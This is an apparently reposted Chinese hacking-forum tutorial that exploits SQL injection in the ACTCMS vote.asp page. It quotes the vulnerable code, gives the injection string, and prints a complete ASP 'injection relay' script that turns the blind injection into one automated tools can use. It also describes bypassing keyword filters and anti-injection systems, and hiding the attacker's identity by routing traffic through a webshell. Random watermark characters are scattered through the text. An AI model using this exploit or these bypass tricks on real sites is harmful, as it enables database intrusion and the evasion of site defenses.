注入中转的高级应用，actcms漏洞以及其他

admin

  E' ^6 y! g( b* a( C- W3 s3 q- C看到ninty大牛的blog的一篇文章
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
$ Z) w2 [& n+ H1 J# x- F) D转载请注明以上
漏洞文件：
/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   

5 c9 x! e2 Z  F2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

- B( A. I8 C- e3    response.end   

- ]$ p" O% U; D9 y4    end if   

5    for i=1 to request("voted").count   
9 h# k+ `+ d- F- V, O0 |1 E9 ^! }, U
# E; e  P, H; m: X8 p1 d6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

; p. R5 ]6 @; d! L7    next   
' R4 u# Y! t" n* E0 ]# r5 e$ o
8....   

9response.Redirect "index.asp?id="&id&""   
4 Z, L. J% b  A9 z0 [1 v; Q" B投票结束回跳转回index.asp这个投票结果页面
: G  T/ ^6 U0 H% P1 U! H* p如果投票成功票数加1
            失败票数不变
如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)

2009-12-27 13:20

利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
1 H4 ?, G0 w5 H) j
本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
5 i, Y1 p% g+ S7 F先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
/ k3 R9 |. C2 w' g( b注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
& G# t9 k. U' G6 A: R
7 C0 G7 Z/ F5 `+ V然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%

. @" K+ t! T  Y0 J; t02JmdcwName=request("jmdcw")

03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

; u: ~6 z& s1 h5 G% U1 s9 X) }04JmStr="id=1&voted=-1 or 1="&JmdcwName

0 I5 C3 o. b; a0 k: U! F) `05JmStr=URLEncoding(JmStr)

& m+ l( f  b3 O8 `# T4 P; G( i06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
6 I* x3 X5 K& T; ^( L
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

08testurl=testurl & "?" & JmStr

% _' y' G7 f, {: g( [6 {. b09JMUrl=JMUrl & "?" & JmStr
/ i* k* M$ J$ F( I4 o& u
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"

11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
. F- i% _3 ^! d/ W$ x
6 E/ j* S( P7 ~7 K8 P12JmCok=replace(JmCok,chr(32),"%20")  

8 ]- u/ n* l, k2 \1 b* s" u0 ~13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

4 q, `) N* X4 n) u( a; J4 b. V14  
# _& s3 F, U8 Q- O. P" Y2 e
1 \' O: ]4 [1 B/ B15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
  k, @: S( t6 Z
# m6 w, D3 S9 r0 h: _16  
3 d1 A) M# u7 f5 N3 q1 W, B) P
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

& u$ N4 H1 a# J6 L2 @: m18response.write test1&""&test2&""
) T2 a$ @$ g  I$ v5 l
19  
" y+ T9 c  Y  v2 K" E4 g
* b3 I4 j" y+ w9 K; s20if test1=test2 then '如前后记录相等，表示失败
. w& A3 N( Z3 x7 ?# Z+ }
21  response.write "failed"
' ]1 U  k/ n* l
22else

) c+ }% b6 p) q- \! o' Q23  response.write "succeed"
7 B5 l1 E' w; S5 r  p
, M+ A) O9 c' B- Q2 N3 M) i# O* g24end if  
$ ~% P: J: f9 \' k
1 C+ {' Q  X1 a: q# ?( t# |- ^8 T* I25  
: r/ W$ N/ l) S5 D  f
26response.write "by 3x"
: a4 R. Z$ r6 B# Z  V
; Q& M' G  I% D) Q+ x' c/ h27  

28  
4 z3 W7 i; A! A* y
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
4 q. B0 i! X8 Z, U$ a
# @2 v$ \& Z7 H; z30Dim Http

31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
. A1 g* z2 P# m6 X/ b1 v, i, l
32With Http
9 o- F! `* O+ x' G- ?
7 w) ^( K! h! G% Y: L$ j: `33  
# m# Q4 N7 N4 n' Z
) [! c3 M) a5 y& t, V% }34.Open "GET",PostUrl,False
! g# ]" ~& i9 q* m) P
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

& {: l! ]$ ~% k) }) a' U36.SetRequestHeader "Referer",PostRef

7 w. u8 l# h+ c- z" I0 p4 G& P37.SetRequestHeader "Cookie",PostCok
$ \2 l7 r$ M2 D
: W" D0 H# V# s1 [6 N0 `  q* z38.Send ()
: X, B& ]  \( H. U  \! E
2 N1 _7 J1 _, U5 V39PostData = .ResponseBody

0 s& f5 l/ F9 W# _5 H40End With
' `& O6 y- @) s% v
; X5 Z- K! i5 X& W2 j41Set Http = Nothing

% h. ]3 U; M4 D8 \2 H3 y! z42PostData =bytes2BSTR(PostData)
; r. L5 G" f4 V4 l
( c$ ^/ I: V# N1 b' {' e* Q4 E( \2 p43End Function
6 Y3 V" w* W8 p/ g8 f7 f
44  
- ]: X% n' ?6 T9 |) C
45  

$ J# d$ s6 B" S0 ^4 h4 S# N. T6 ~46Function bytes2BSTR(vIn)

4 `1 B6 [$ V" @$ r' K47Dim strReturn
) {. l) y" E, Z
48Dim I, ThisCharCode, NextCharCode

1 z/ T; z7 M6 T2 S9 d6 h( ?49strReturn = ""

50For I = 1 To LenB(vIn)
2 M3 u/ h2 Q9 d$ d! [
51ThisCharCode = AscB(MidB(vIn, I, 1))
* I" [4 }5 ~; e/ L/ b1 l
9 h; M" Q6 k, I7 {52If ThisCharCode < &H80 Then

53strReturn = strReturn & Chr(ThisCharCode)

" ^) F& X" g2 ]54Else
4 E! s8 g2 x3 `# I
4 l& }) |8 L4 l6 \8 x) a. O55NextCharCode = AscB(MidB(vIn, I + 1, 1))

56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

: r% ]/ {: G$ I- V' i. m57I = I + 1

5 P" x) o/ c; {: O0 @# ]6 t58End If

& C$ P* F) ]& `59Next

60bytes2BSTR = strReturn
% i& S/ B2 J  ?1 j7 v5 m
4 v. T8 t% W% l& r9 Q61End Function

6 i; p$ G. n3 Y! ^) ~5 {62  

63Function URLEncoding(vstrin)  
  e. p9 t1 L/ ~0 I$ x5 x3 Z. ^6 ~
64strReturn=""

65Dim i

% w5 q/ I0 m# T  `  Z+ l66For i=1 To Len(vstrin)
5 v* J$ x$ ^' D2 h
4 I: m  K/ V' x3 C6 S67ThisChr=Mid(vstrin,i,1)

68if Abs(Asc(ThisChr))< &HFF Then

69strReturn=strReturn & ThisChr

70Else

/ r! r$ i- }, z: }71InnerCode=Asc(ThisChr)

72If InnerCode<0 Then

73InnerCode=InnerCode + &H10000
; H1 Q5 h3 L+ D2 U0 W7 A+ X6 W
74End If

75Hight1=(InnerCode And &HFF00) \&HFF

76Low1=InnerCode And &HFF

% I4 b- G/ v! y77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

78End if

7 d  R- Q# X" p& v; R79Next

! Z) L1 `  i# j4 E80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

6 f4 s$ W* p: T" E- N$ g81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

0 C% J  M! @$ N3 K( j0 d% v9 v0 Z1 A83URLEncoding=strReturn

  c& c) }* T9 v. F. N84End Function

7 {: |3 p7 I& I( C" e$ _. w2 v) R85  

% p/ F, J0 v0 _& N* D86function getSt(body)

2 ]  ~' @; k/ h) g( Y! z; {+ x, b87  startpot=instr(body,"投票人数：")+len("投票人数：")
% N! t+ ]1 r# m+ {6 q. [* j
* `; l! b. v% }88  endpot=instr(startpot,body," ")
: Z, t7 y6 h) E
4 A0 S+ e/ ?( B( W$ J89  getSt=mid(body,startpot,endpot-startpot)
  }1 F# [0 Y9 n
90end function

* f' @5 [& v1 g6 ~91%>
8 b& m' u' f- D( `注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
投票成功：
7 t! l( b& K! R( R- _http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)

2009-12-27 13:29
投票失败
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

2009-12-27 13:29
-------------------------------------------------------------------------------
& o) Y8 s- Q/ Z再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
( {. @& L- p. W+ D很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
-------------------------------------------------------------------------------
4 C* s2 ]5 e: U' [# p. i# M! @
注入中转的一些其他应用
! ^2 [9 K9 t! [- D  K7 I& Y; r其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
; b1 X: [8 X, u& h% B' ^0 }1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
0 D" a) H  q. t- W: ]2 O2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
0 T( n' l" N* F$ C4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过

+ `. O3 a5 U3 _! r7 \. F+ y